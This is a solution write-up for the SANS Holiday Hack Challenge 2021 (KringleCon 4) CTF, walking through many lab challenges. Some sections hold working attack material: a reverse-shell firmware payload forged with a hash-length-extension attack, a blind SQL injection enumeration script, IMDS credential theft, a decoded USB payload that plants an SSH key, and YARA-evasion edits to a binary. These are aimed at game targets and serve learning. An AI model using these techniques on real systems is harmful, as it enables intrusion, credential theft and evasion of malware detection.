This report was created on KringleCraft.com, /ˈkrɪŋ.ɡəl krɑːft ˈkɑːm/. An online CTF solution editor and report generator inspired by SANS Holiday Hack Challenge & KringleCon.
Makes creating solutions and reports easy and fun 😀
KringleCon 4: Calling Birds!
I’m a Cyber Security Fanatic & Generic IT Fairy. I love doing riddles and solving problems. I have specialized in the area of cyber security but I’m far away from being an expert. I guess my average day is missing 8 additional hours, I do have a lovely family which is always number one! What’s left of the day I use to discover new things, try out software or even play CTF like stuff.
You have reached Jack’s gift shop. You can see a lot of merchandise. There are t-shirts and puppets everywhere!
You have reached the lobby. A lot of people are playing at the casino machines. In front of you there is the elevator.
You are standing right at the Frost towers rooftop. The stairs are located at the right side. At the left side you can see an U.F.O. Has it been here all the time?
You have reached Jack’s office. In front of you there are the elevators. At the left side you can see a huge Jack statue.
Wow. Is this really Jack’s restroom? The toilet in front of you must have been made of pure gold, the sink at the right side must be pure gold as well.
You take a step into Jack’s studio. In front of you you can see some paintings.
You dare to enter the U.F.O. It is very dark here. At the left side there is a huge screen showing a video call to Santa himself.
You have entered the court yard. A few logs are burning in the center area. Around the burning woods you can see a few booths.
You are standing in the dining room. A huge wooden table is located at the center. A few pictures are hanging at the walls.
You have entered the entry room of the KringleCon. At the left side there is a festive Christmas tree, at the right side there is an elevator. A few pictures are hanging at the walls.
You have entered the great room. The whole floor is covered by a huge carpet. Pictures are covering the walls.
You have found the kitchen. At the left side you can see the kitchen block. At the right side there is another festive Christmas tree.
You have reached the top of the building where NetWars is talking place. A lot of participants are competing here against each other.
You just discovered Santa’s office. At the right side you can see a globe and a knight statue.
You have found the speaker UNpreparation room. Next to the christmas tree located at the right side you can see a vending machine offering drinks and snacks.
You have arrived at the entry point to this year’s KringleCon. In front of you you can see a green fence.
You are standing in the main location of this year’s KringleCon and FrostFest. At the left side you can see the KringleCon building, at the right side there is the Frostfest tower.
You have forgotten that person.
A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.
Jack Frost is using the so-called "Evil bit" to distinguish between good and bad traffic. So most likely the "non-compliant" human has not set the "evil bit".
We unzip the PCAP file and set a filter accordingly:
$ tcpdump 'ip[6] & 128 == 0' -r jackfrosttower-network.pcap | grep complaint
reading from file jackfrosttower-network.pcap, link-type EN10MB (Ethernet), snapshot length 65535
19:32:17.576190 IP 10.70.84.251.36674 > 10.70.84.10.http: Flags [P.], seq 0:437, ack 1, win 502, options [nop,nop,TS val 4276157356 ecr 3229766183], length 437: HTTP: GET /feedback/guest_complaint.html HTTP/1.1
19:34:58.994082 IP 10.70.84.251.36676 > 10.70.84.10.http: Flags [P.], seq 0:959, ack 1, win 502, options [nop,nop,TS val 4276318755 ecr 3229927601], length 959: HTTP: POST /feedback/guest_complaint.php HTTP/1.1
So the human most likely had the IP 10.70.84.251 To make searching a little easier we're using Wireshark and setting the filters:
ip.src == 10.70.84.251 and http.request.method == "POST"
If we follow the HTTP traffic we can see the traffic:
name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit
So just look for any other person which might have been in that room:
ip.src != 10.70.84.251 and http.request.method == "POST" and urlencoded-form contains "1024"
That results in exactly three complaints, we’re looking into the traffic (Wireshark - Follow HTTP stream)
The three trolls mentioned in the stream are: Flud Hagg Yaqh
Hubris Selfington is standing next to the slot machines.
Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa's Castle for help.
I just played the game a few times and intercepted the server response using Burp Proxy, after I while I got the jackpot ;) Guess this was the "lucky punch", I will investigate the cookies further and update this document as I guess that was just luck.
I'm going to have some bouncer trolls bounce you right out of this casino!
Crunchy Squishter is standing next to a Terminal and some weird looking umbrella.
Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack's elevator.
Sometimes it's easier not to invent the wheel again and to use existing code. See https://numato.com/kb/generating-square-wave-using-fpga/ as reference. I used this code and modified it to suit the required use case.
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk, // 125MHz system clock
input rst, // reset
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
// ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
// TODO: Add your code below.
// Remove the following line and add your own implementation.
// Note: It's silly, but it compiles...
// assign wave_out = (clk | rst | (freq > 0));
reg [31:0] one_second_counter;
reg waver;
assign wave_out = waver;
localparam CLOCK_FREQUENCY = 125000000;
always @(posedge clk or posedge rst)
begin
if(rst==1)
begin
one_second_counter <= 32'h00;
waver <= 1'b0;
end
else
begin
if(one_second_counter == 32'h00)
begin
// one_second_counter <= 0;
// waver <= waver ^1'b1;
waver <= ~waver;
one_second_counter <= CLOCK_FREQUENCY/(freq / 50)- 1;
end
else
one_second_counter <= one_second_counter - 1;
end
end
endmodule
Ruby Oyster is standing next to a Terminal.
New notes
This printer is standing next to the wall inside Jack's office.
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log
. What is the name of the last file printed (with a .xlsx
extension)? Find Ruby Cyster in Jack's office for help with this objective.
The idea is quite simple: Use the hash_extender to add one zip to another zip while preserving the produced hash. Two things are important or the whole operation won't work as expected:
To make life a little easier I write a small script so I didn't need to enter the commands manually. I haven chosen to inlude a standard reverse shell as payload.
Helper program:
┌──(ben㉿42c96d2)-[~/Work/printer]
└─$ cat complete.sh
#!/bin/bash
rm firmware.bin firmware2.bin firmware-export2.zip firmware-export.zip firmware-import.json
cat firmware-export.json | cut -f 4 -d "\"" | base64 --decode > firmware-export.zip
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f elf > firmware.bin
chmod 0755 firmware.bin
zip -rv firmware-export2.zip firmware.bin
oldsig=`cat firmware-export.json | cut -f 8 -d "\"" `
newfile="504b0304140000000800cf0c9253ea51bdc778000000c20000000c001c006669726d776172652e62696e5554090003852dbd617d2dbd6175780b000104e803000004e8030000ab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a1d4d16993e04e5f1c0340840a82ccd8899594cf1598c71fcac1ed33d76323130045c79bcee5ea047e7b32c81a82cad087ed62ce6388fffe7b21481ccd26f59d611333d76eb2765e6e9176730047b743e0f0a07aae5670500504b01021e03140000000800cf0c9253ea51bdc778000000c20000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003852dbd6175780b000104e803000004e8030000504b0506000000000100010052000000be0000000000" # Converted via CyberChef to Base64, the command below was not working as it shouls
echo -n "{\"firmware\":\"" > firmware-import.json
# cat firmware-export.zip | base64 -w 0 >> firmware-import.json
#./hash_extender --file=firmware-export.zip --signature="$oldsig" --format=sha256 --secret=16 --out-data-format=raw --out-signature-format=none -q --append=" " | base64 -w 0 >> firmware-import.json
./hash_extender --file=firmware-export.zip --signature="$oldsig" --format=sha256 --secret=16 --out-data-format=raw --out-signature-format=none -q --append="$newfile" --append-format=hex | base64 -w 0 >> firmware-import.json
echo -n "\",\"signature\":\"" >> firmware-import.json
# echo -n "$oldsig" >> firmware-import.json
#./hash_extender --file=firmware-export.zip --signature="$oldsig" --format=sha256 --secret=16 --out-data-format=none --out-signature-format=hex -q --append=" " >> firmware-import.json
./hash_extender --file=firmware-export.zip --signature="$oldsig" --format=sha256 --secret=16 --out-data-format=none --out-signature-format=hex -q --append="$newfile" --append-format=hex >> firmware-import.json
echo -n "\",\"secret_length\":16,\"algorithm\":\"SHA256\"}" >> firmware-import.json
On another machine:
$ bash
ben@localhost:~$ sudo nc -nvlp 80
[sudo] password for ben:
Listening on 0.0.0.0 80
Connection received on 34.121.219.20 47358
pwd
/app
cat /var/spool/printer.log
Documents queued for printing
=============================
Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx
Ingreta Tude is standing next to a Terminal.
Investigate Frost Tower's website for security issues. This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa's dining room, may have some pointers for you.
There is an authentication flaw in the method (see server.js). By posting the same email a second time we will be authenticated.
..
app.post('/postcontact', function(req, res, next){
var rowlength = rows.length;
if (rowlength >= "1"){
session = req.session;
session.uniqueID = email;
req.flash('info', 'Email Already Exists');
res.redirect("/contact");
} else {
This way we get a valid session.uniqueID which can bypass the authentication. By further looking at the code it seems the details page allows SQL injection which can be triggered by supplying multiple comma separated values. This is quite tricky as the web page does not use a comma separated list so without the source code that SQLi most likely wouldn't be noticed.
┌──(ben㉿42c96d2)-[~/Work]
└─$ curl -L --cookie "_csrf=kocuNDU9QMlSalYi03IpcY4o;" --cookie "connect.sid=s%3Aa7wP3VhClIjx8eHUMQ4INyOilSc3NYgz.eNDqZCVlX7GNlBuI4F%2BZK3Sin%2F8koFzQoT4kR4mTw6k" "https://staging.jackfrosttower.com/detail/1000,1001%20OR%20id=%20(select%20count(*)%20from%20emails)" 2>/dev/null| grep ">Edit<" | cut -f 2 -d "\"" | cut -f 3 -d "/"
14
Abusing that SQLi with sqlmap does not bring any success as sqlmap has its problems with that comma separated list. I have written a script to make database enumeration in that case a lot easier.
┌──(ben㉿42c96d2)-[~/Work]
└─$ cat frosttest.sh
#!/bin/bash
row=$4
table=$1
column=$2
where=$3
good1=110
good2=112
maxrow=$5
csrf="e5bcyuMyt8FIPF22ZJcFbft1rRObQRB2."
sid="s%3A0kBa0_sU0UezHTC3yjtJtDXB1OPe8aJS.qu0IwkV2Iy6TLeB2X2XRYml%2BY7tQZkH84sFr3ifKb50"
echo "Analyzing table $table and column $column..."
while [ $row -le $maxrow ]
do
cont=1
position=1
echo -n "Row ID $row: "
while [ $cont = 1 ]
do
cont=0
#for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 0
ascii=32
while [ $ascii -le 127 ]
do
counter=`curl -L --cookie "_csrf=$csrf" --cookie "connect.sid=$sid" "https://staging.jackfrosttower.com/detail/$good1,$good2%20AND%20%22$ascii%22%20=%20(select%20(ascii(substring($column%20from%20$position%20for%201)))%20%20from%20$table$where%20limit%201%20OFFSET%20$row)" 2>/dev/null | grep ">Edit<" | cut -f 2 -d "\"" | wc -l`
if [ "x $counter x" == "x 2 x" ]
then
#echo -n $ascii
echo $ascii | awk '{printf("%c",$1)}'
cont=1
position=$(echo $position + 1 | bc)
fi
ascii=$(echo $ascii + 1 | bc)
done
done
row=$(echo $row + 1 | bc)
echo ""
done
Let's enumerate the database using the MySQL information schema tables.
┌──(ben㉿42c96d2)-[~/Work]
└─$ ./frosttest.sh information_schema.schemata schema_name "%20" 0 10 130 ⨯
Analyzing table information_schema.schemata and column schema_name...
Row ID 0: information_schema.
Row ID 1: encontact.
Row ID 2: .
┌──(ben㉿42c96d2)-[~/Work]
└─$ ./frosttest.sh information_schema.tables table_name "%20where%20table_schema%3d%22encontact%22" 0 100
Analyzing table information_schema.tables and column table_name...
Row ID 0: users
Row ID 1: todo
Row ID 2: emails
Row ID 3: uniquecontact
Row ID 4:
┌──(ben㉿42c96d2)-[~/Work]
└─$ ./frosttest.sh information_schema.columns column_name "%20where%20table_schema%3d%22encontact%22%20and%20table_name%3d%22todo%22" 0 100
Analyzing table information_schema.columns and column column_name...
Row ID 0: id
Row ID 1: note
Row ID 2: completed
Row ID 3:
┌──(ben㉿42c96d2)-[~/Work]
└─$ ./frosttest.sh todo note "%20" 0 10 130 ⨯
Analyzing table todo and column note...
Row ID 0: Buy up land all around Santa's Castle
Row ID 1: Build bigger and more majestic tower next to Santa's
Row ID 2: Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
Row ID 3: Dishearten Santa's elves and encourage defection to our cause
Row ID 4: Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
Row ID 5: Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
Row ID 6: Force Santa to cancel Christmas
Row ID 7: SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
Row ID 8: With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
Row ID 9:
Row ID 10:
Pat Tronizer is standing in the talks lobby.
What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack's bathroom to get hints from Noxious O. D'or.
Looking at https://apply.jackfrosttower.com/?p=opportunities it seems the images contain some IMDS information. Trying out some combinations using BurpSuite Repeater ends in
GET /images/77.jpg HTTP/2
{
"Code": "Success",
"LastUpdated": "2021-05-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-05-02T18:50:40Z"
}
Note: The server/application sadly was broken for a few days so I couldn't document the "real" way/the real solution here. I'll update it later.
Tangle Coalbox is standing next to a Terminal.
Task Help Tangle Coalbox find a wayward elf in Santa's courtyard. Talk to Piney Sappington nearby for hints.
Note: Each time you play the game you will get different questions and hints but missing one (and noting the answers) may help in another play.
Playing the game always includes these steps:
* Investigate the current location (three points of interest)
* Note anything that might help you identify the target elf (e.g. "Oh, I noticed they had a Firefly themed phone case")
* Note anything that might help you identify the next stop (e.g. "their phone was going to work on the 1500 MHz LTE band")
* Departy by sleigh to visit the next stop and use the InterRink terminal to filter possible target elves using your findings
You will most likel visit three stops, the investigations should give you enough information to filter the InterRink so only one target elf is left.
Angel Candysalt is standing next to a Terminal.
Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?
This objective is well guided. So I have only included the solutions:
Task 1:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name="/usr/bin/git"
Click on interesting fields - CommandLine: git status
Task 2:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name="/usr/bin/git" CommandLine="*partnerapi*"
Click on interesting fields - CommandLine: git@github.com:elfnp3/partnerapi.git
Task 3:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name="/usr/bin/docker" CurrentDirectory="*partnerapi*"
Click on interesting fields - CommandLine: docker compose up
Task 4:
index=main sourcetype=github_json
Click on interesting fields - repository.url: https://github.com/elfnp3/dvws-node
Looking for the dvws-project inside GitHub results in the URL: https://github.com/snoopysecurity/dvws-node
Task 5:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_name="/usr/bin/node"
Click on interesting fields - CommandLine: holiday-utils-js
Task 6:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443)
Click on interesting fields - CommandLine: /usr/bin/nc.openbsd
Task 7:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) process_name="/usr/bin/nc.openbsd"
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) process_name="/usr/bin/nc.openbsd"
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) ParentProcessId=6788
Click on interesting fields - CommandLine: 6 (cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts)
Task 8:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) ProcessId=6788
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) ProcessId=6784
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) ProcessId=6783
Click on interesting fields - CommandLine: preinstall.sh
You have forgotten the person.
Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa's office for hints.
New notes
Morcel Nougat is standing next to a Terminal and a vending machine.
Assist the elves in reverse engineering the strange USB device. Visit Santa's Talks Floor and hit up Jewel Loggins for advice.
Mallard (USB Ducky en/decoder) is already present, so we can just use it:
elf@91b162ddd151:/mnt/USBDEVICE$ python3 ~/mallard.py -f inject.bin > /tmp/plain.txt
Let's look at the plain text content of the script:
elf@91b162ddd151:/mnt/USBDEVICE$ cat /tmp/plain.txt | grep STRING
STRING terminal
STRING /bin/bash
STRING mkdir -p ~/.config/sudo
..
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
STRING history -c && rm .bash_history && exit
The second last line contains some base64 encoded string, let's decode it:
elf@91b162ddd151:/mnt/USBDEVICE$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys
So our bad guy was ickymcgoop.
Jingle Ringford is standing next to a Terminal and welcoming you at this year's KringleCon.
Task Get your bearings at KringleCon
Well, this challenge is here to get you started. You will be guided through the KringleCon "onboarding process" step-by-step. Just follow the steps presented to you:
The answer is already given:
Click in the upper pane of this terminal
Type answer and press Enter
Hint: If the screen is too busy because there a lot of players online, you can "hide" them in the settings, this way it's easier to find items/people/terminals Hint: Some terminals are "split". You may have problems doing a copy&paste there. Enter "tmux set -g mouse off" in the termin windows to enable copy&paste for that moment
Grimy McTrolkins is waiting in front of the Frost Tower.
Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle's CLI interface. Talk to Greasy Gopherguts outside the tower for tips.
Stand next to Frost Tower (as WLAN has only a certain range) Use the WiFi Dongle (Items section)
Scan for open WLANs
elf@0fef79d62d9a:~$ iwlist wlan0 scan
wlan0 Scan completed :
Cell 01 - Address: 02:4A:46:68:69:21
Frequency:5.2 GHz (Channel 40)
Quality=48/70 Signal level=-62 dBm
Encryption key:off
Bit Rates:400 Mb/s
ESSID:"FROST-Nidus-Setup"
Connect to that WLAN
elf@0fef79d62d9a:~$ iwconfig wlan0 essid FROST-Nidus-Setup
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)
Trying to access the Thermostat via curl
elf@0fef79d62d9a:~$ curl http://nidus-setup:8080
elf@0fef79d62d9a:~$ curl http://nidus-setup:8080/apidoc
The API Doc show how to set the temperature via POST and sending a JSON payload
elf@0fef79d62d9a:~$ curl -XPOST -H 'Content-Type: application/json' --data-binary '{"temperature": 10}' http://nidus-setup:8080/api/cooler
{
"temperature": 10.19,
"humidity": 14.17,
"wind": 21.49,
"windchill": 7.48,
"WARNING": "ICE MELT DETECTED!"
}
Grody Goiterson is standing next to the broken elevator.
The elevator is offline, you need to configure the panel and arrange the circuit components so all output ports have power
You can use the resource link to see what effect each component has. The final solution looks like:
Noxious ODor is standing next to a Terminal and a ... golden? ... toilet.
🎄🎄🎄 Prof. Petabyte here. In this lesson you'll continue to build your cloud asset skills,
🎄🎄🎄 interacting with the Instance Metadata Service (IMDS) using curl.
🎄🎄🎄
🎄🎄🎄 If you get stuck, run 'hint' for assitance.
🎄🎄🎄
The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.
First we ping the IMDS
ping 169.254.169.254
And we follow the hint system (The commands you'll need to enter are shown by the hint system)
curl http://169.254.169.254
curl http://169.254.169.254/latest
curl http://169.254.169.254/latest/dynamic
curl http://169.254.169.254/latest/dynamic/instance-identity/document
curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq
curl http://169.254.169.254/latest/meta-data
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/hostname ; echo
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
Let’s switch over to IMDSv2 which uses token for authentication
elfu@0c4829dafe5e:~$ cat gettoken.sh
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
source gettoken.sh
echo $TOKEN
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
Piney Sappington is wearing a green hat is standing next to a Terminal.
HELP! That wily Jack Frost modified one of our naughty/nice records, and right
before Christmas! Can you help us figure out which one? We've installed exiftool
for your convenience!
Filename (including .docx extension) >
One of the files seem to contain altered metadata. So let's loop over all files and compare the output of the exiftool helper:
elf@e2533911c94b:~$ for i in *; do echo $i; exiftool $i | wc; done
..
2021-12-20.docx
44 186 1928
2021-12-21.docx
44 186 1927
2021-12-22.docx
44 186 1928
..
So the 21-file seems to be the target:
elf@e2533911c94b:~$ exiftool 2021-12-21.docx
..
Last Modified By : Jack Frost
..
Welcome to
Python Edition!
Mischevious munchkins have nabbed all the North Pole's lollipops intended for good children all over the world.
Use your Python skills to retrieve the nabbed lollipops from at least eight entrances to KringleCon.
Click to begin or continue at your current task.
Inspired by SANS SEC573 pyWars.
Not Familiar with Python?
Take a look at The Ultimate Python Beginner's Handbook or the CodeAcademy interactive Python tutorial.
In this simulator you need to write Python code which interacts with the objects. You also need to fulfill certain requirements to finish a level successfully.
Each level can have different solutions, but each level has a very good description and hints so you can always start with a template and finish the missing parts.
The programs are:
# First level
lollipop = lollipops.get(0)
elf.moveTo(lollipop.position)
elf.moveTo({"x":2,"y":2})
# Second level
lollipop1 = lollipops.get(1)
elf.moveTo(lollipop1.position)
lollipop0 = lollipops.get(0)
elf.moveTo(lollipop0.position)
elf.moveTo({"x":2,"y":2})
# Third level
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo({"x":6,"y":12})
sum = lever0.data() + 2
lever0.pull(sum)
elf.moveTo(lollipop0.position)
elf.moveTo({"x":2,"y":2})
# Fourth level
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)
lever4.pull("A String")
elf.moveUp(2)
lever3.pull(1==1)
elf.moveUp(2)
lever2.pull(1)
elf.moveUp(2)
lever1.pull([1,2,3])
elf.moveUp(2)
lever0.pull({1:1,2:2})
elf.moveUp(2)
# Fifth level
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)
lever4.pull(lever4.data() + " concatenate")
elf.moveUp(2)
lever3.pull(not(lever3.data()))
elf.moveUp(2)
lever2.pull(1 + lever2.data())
elf.moveUp(2)
newlist=lever1.data()
newlist.append(1)
lever1.pull(newlist)
elf.moveUp(2)
newdict=lever0.data()
newdict["strkey"] = "strvalue"
lever0.pull(newdict)
elf.moveUp(2)
# Sixth level
lever = levers.get(0)
data = lever.data()
elf.moveTo(lever.position)
if type(data) == bool:
data = not data
elif type(data) == int:
data = data * 2
elif type(data) == str:
data = data + data
elif type(data) == list:
data = [x+1 for x in data]
lever.pull(data)
elf.moveUp(2)
# Seventh level
for num in range(2):
elf.moveLeft(3)
elf.moveUp(15)
elf.moveLeft(3)
elf.moveDown(15)
elf.moveLeft(3)
elf.moveTo({"x":2,"y":2})
# Eighth level
all_lollipops = lollipops.get()
lever = levers.get(0)
for lollipop in all_lollipops:
elf.moveTo(lollipop.position)
elf.moveTo(lever.position)
myarray = lever.data()
myarray.insert(0, "munchkins rule")
lever.pull(myarray)
elf.moveTo({"x":2,"y":6})
elf.moveTo({"x":2,"y":2})
HELP!!!
This critical application is supposed to tell us the sweetness levels of our candy
manufacturing output (among other important things), but I can't get it to run.
It keeps saying something something yara. Can you take a look and see if you
can help get this application to bypass Sparkle Redberry's Yara scanner?
If we can identify the rule that is triggering, we might be able change the program
to bypass the scanner.
We have some tools on the system that might help us get this application going:
vim, emacs, nano, yara, and xxd
The children will be very disappointed if their candy won't even cause a single cavity.
snowball2@e3932e4afe25:~$
First run of the blocked binary:
snowball2@312ab12cd1a9:~$ ./the_critical_elf_app
yara_rule_135 ./the_critical_elf_app
That yara rule says
strings:
$s = "candycane"
So just open the binary (a simple editor like vi is sufficient), look for that string and replace the lower case c with a capital C
Second run:
snowball2@45408967b971:~$ ./the_critical_elf_app
yara_rule_1056 ./the_critical_elf_app
That yara rule says
strings:
$s1 = {6c 6962 632e 736f 2e36}
$hs2 = {726f 6772 616d 2121}
Just feed that numbers into CyberChef and apply the magic recipe:
From_Hexdump()
c.so.6gram!! Valid UTF8
Entropy: 3.25
So just open the binary again, look for the second string and replace the ! With another character like -
Third run:
snowball2@45408967b971:~$ ./the_critical_elf_app
yara_rule_1732 ./the_critical_elf_app
That yara rule looks for a lot of string but we can take the easy route looking at the conditions:
condition:
uint32(1) == 0x02464c45 and filesize < 50KB and
10 of them
Let’s append some null bytes at the end of the file:
snowball2@45408967b971:~$ dd if=/dev/zero count=100 >> the_critical_elf_app
100+0 records in
100+0 records out
51200 bytes (51 kB, 50 KiB) copied, 0.000323874 s, 158 MB/s
snowball2@45408967b971:~$ ls -l the_critical_elf_app
-rwxr-xr-x 1 snowball2 snowball2 67889 Dec 13 21:34 the_critical_elf_app
The binary will be able to bypass the yara checks now:
snowball2@45408967b971:~$ ./the_critical_elf_app
Machine Running..
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564
Tinsel Upatree is standing next to a Terminal inside the kitchen.
================================================================================
Please, we need your help! The cotton candy machine is broken!
We replaced the SD card in the Cranberry Pi that controls it and reinstalled the
software. Now it's complaining that it can't find a registration file!
Perhaps you could figure out what the cotton candy software is looking for...
================================================================================
The binary is missing some configuration file:
kotton_kandy_co@d1c631b1cf57:~$ ./make_the_candy
Unable to open configuration file.
Let’s strace that file to see if we can find some missing dependency:
kotton_kandy_co@d1c631b1cf57:~$ strace ./make_the_candy
..
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
..
Let's create that file with some dummy content and run the binary again:
kotton_kandy_co@d1c631b1cf57:~$ touch registration.json
ton_kandy_co@d1c631b1cf57:~$ echo something >> registration.jso
